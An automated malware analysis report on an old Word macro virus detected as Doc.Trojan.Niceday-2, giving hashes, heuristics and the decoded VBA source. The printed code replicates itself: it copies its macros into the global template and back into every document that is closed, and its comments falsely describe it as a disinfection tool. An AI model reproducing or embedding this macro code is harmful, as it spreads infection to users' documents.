Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1eca3118cc2f61de…

MALICIOUS

Office (OLE)

44.0 KB Created: 1980-01-04 20:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3a2dc4fdaffc51511644c422de57d11f SHA-1: 077c8658cdb49b4482250788ffa4e29bb68e1540 SHA-256: 1eca3118cc2f61dec78191510cc1bf3ae3f5cf9de5dfe9a84eae3a8a249eb78a
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains critical heuristics indicating the presence of VBA macros, including AutoOpen and AutoClose functions, and is detected by ClamAV as Doc.Trojan.Niceday-2. The VBA script attempts to copy macros named 'Payload', 'AutoExit', and 'AutoOpen' to the global template, suggesting an attempt to establish persistence or facilitate further malicious actions. The script's intent to copy macros to 'Global:PayLoad', 'Global:AutoExit', and 'Global:VOpen' indicates a mechanism for persistence or execution of additional malicious code.

Heuristics 5

  • ClamAV: Doc.Trojan.Niceday-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Niceday-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2794 bytes
SHA-256: 519d8b32f393bcaf986d6f50cde8223aaaa617f7d99b333295950dca2f1b57c7
Detection
ClamAV: Doc.Trojan.Niceday-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Payload"
Option Explicit


Public Sub MAIN()
Attribute MAIN.VB_Description = "Null macro to prevent prank macros from re-installing.  Do not delete."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.Payload.MAIN"
    Rem That's enough to prove my point
End Sub

Attribute VB_Name = "AutoExit"
Option Explicit


Rem Concept3.AutoExit.Macro
Public Sub MAIN()
Attribute MAIN.VB_Description = "ScanProt macro to protect and disinfect your Normal (Global) template."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoExit.MAIN"
Dim message1$
Dim daynumber
Dim monthnumber
message1$ = "Have a Nice Day !"

daynumber = WordBasic.Day(WordBasic.Now())
monthnumber = WordBasic.Month(WordBasic.Now())

If daynumber = 1 And monthnumber = 4 Then WordBasic.MsgBox message1$ Else WordBasic.MsgBox message1$

End Sub

Attribute VB_Name = "VOpen"
Option Explicit


Public Sub MAIN()
Attribute MAIN.VB_Description = "Runs AutoOpenScan"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim vZap$
Dim vMacro$
    On Error GoTo -1: On Error GoTo Abort
    
            vZap$ = WordBasic.[FileName$]()

            vMacro$ = vZap$ + ":Payload"
            WordBasic.MacroCopy vMacro$, "Global:PayLoad"

            vMacro$ = vZap$ + ":AutoExit"
            WordBasic.MacroCopy vMacro$, "Global:AutoExit"

            vMacro$ = vZap$ + ":AutoOpen"
            WordBasic.MacroCopy vMacro$, "Global:VOpen"

            vMacro$ = vZap$ + ":VClose"
            WordBasic.MacroCopy vMacro$, "Global:AutoClose"

Abort:
End Sub

Attribute VB_Name = "AutoClose"
Option Explicit


Public Sub MAIN()
Attribute MAIN.VB_Description = "Installed to your NORMAL template as AutoClose to clean the prank macros from any documents that you open then close."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.VClose.MAIN"
Dim vZap$
Dim vMacro$
    On Error GoTo -1: On Error GoTo Abort

        WordBasic.FileSaveAs Format:=1

        vZap$ = WordBasic.[FileName$]()

        vMacro$ = vZap$ + ":Payload"
        WordBasic.MacroCopy "Global:PayLoad", vMacro$

        vMacro$ = vZap$ + ":AutoExit"
        WordBasic.MacroCopy "Global:AutoExit", vMacro$

        vMacro$ = vZap$ + ":AutoOpen"
        WordBasic.MacroCopy "Global:VOpen", vMacro$

        vMacro$ = vZap$ + ":VClose"
        WordBasic.MacroCopy "Global:AutoClose", vMacro$

        WordBasic.FileSaveAs Format:=1

Abort:
End Sub

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